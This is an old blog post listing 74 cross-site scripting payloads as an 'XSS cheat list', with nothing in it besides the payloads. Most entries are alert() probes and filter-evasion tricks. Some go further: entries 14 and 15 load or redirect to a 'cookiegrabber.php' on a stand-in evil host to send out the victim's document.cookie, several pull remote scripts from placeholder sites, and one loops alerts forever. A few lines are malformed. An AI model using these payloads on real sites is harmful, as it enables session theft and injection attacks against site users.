Cpanel Hosting

Thursday 24 November 2011

XSS CHEAT LIST !!!!


  1. <IMG SRC=javascript:alert( String.fromCharCode(88,83,83))>
  2. <script src=http://yoursite.com/your_files.js></script>
  3. </title><script>alert(/xss/)</script>
  4. </textarea><script>alert(/xss/)</script>
  5. <IMG LOWSRC=\"javascript:alert('XSS')\">
  6. <IMG DYNSRC=\"javascript:alert('XSS')\">
  7. <font style='color:expression(alert(document.cookie))'>
  8. <img src="javascript:alert('XSS')">
  9. <script language="JavaScript">alert('XSS')</script>
  10. [url=javascript:alert('XSS');]click me[/url]
  11. <body onunload="javascript:alert('XSS');">
  12. <script>alert(1);</script>
  13. <script>alert('XSS');</script>
  14. <script src="http://www.evilsite.org/cookiegrabber.php"></script>
  15. <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script>
  16. <scr<script>ipt>alert('XSS');</scr</script>ipt>
  17. <script>alert(String.fromCharCode(88,83,83))</script>
  18. <img src=foo.png onerror=alert(/xssed/) />   
  19. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>   
  20. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>   
  21. <marquee><script>alert('XSS')</script></marquee>   
  22. <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">   
  23. <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">   
  24. <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\
  25. <body onLoad="alert('XSS');"   
  26. [color=red' onmouseover="alert('xss')"]mouse over[/color] 
  27. "/></a></><img src=1.gif onerror=alert(1)>    
  28. window.alert("Bonjour !");   
  29. <div style="x:expression((window.r==1)?'':eval('r=1;   
  30. alert(String.fromCharCode(88,83,83));'))">   
  31. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>   
  32. "><script alert(String.fromCharCode(88,83,83))</script>   
  33. '>><marquee><h1>XSS</h1></marquee>   
  34. '">><script>alert('XSS')</script>   
  35. '">><marquee><h1>XSS</h1></marquee>   
  36. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">   
  37. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">   
  38. <script>var var = 1; alert(var)</script>   
  39. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>   
  40. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>   
  41. <IMG SRC='vbscript:msgbox(\"XSS\")'>   
  42. " onfocus=alert(document.domain) "> <"   
  43. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>   
  44. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS   
  45. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out   
  46. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out   
  47. <br size=\"&{alert('XSS')}\">   
  48. <scrscriptipt>alert(1)</scrscriptipt>   
  49. </br style=a:expression(alert())>   
  50. </script><script>alert(1)</script> 
  51. <SCRIPT>document.write("XSS");</SCRIPT>   
  52. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);   
  53. ='><script>alert("xss")</script>
  54. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>   
  55. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>   
  56. ">/XaDoS/><script>alert(document.cookie)</script>
  57. <script>  src="http://www.site.com/XSS.js"></script>   
  58. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>   
  59. src="http://www.site.com/XSS.js"></script>         
  60. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>   
  61. [color=red width=expression(alert(123))][color]   
  62. <BASE HREF="javascript:alert('XSS');//">   
  63. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<   
  64. "></iframe><script>alert(123)</script>   
  65. <body onLoad="while(true) alert('XSS');">   
  66. '"></title><script>alert(1111)</script>   
  67. </textarea>'"><script>alert(document.cookie)</script>   
  68. '""><script language="JavaScript"> alert('X \nS \nS');</script>   
  69. </script></script><<<<script><>>>><<<script>alert(123)</script>      
  70. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">   
  71. '></select><script>alert(123)</script>   
  72. '>"><script src = 'http://www.site.com/XSS.js'></script>   
  73. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  74. <html><noalert><noscript>(123)</noscript><script>(123)</script>    

                                                                                                                                                No comments: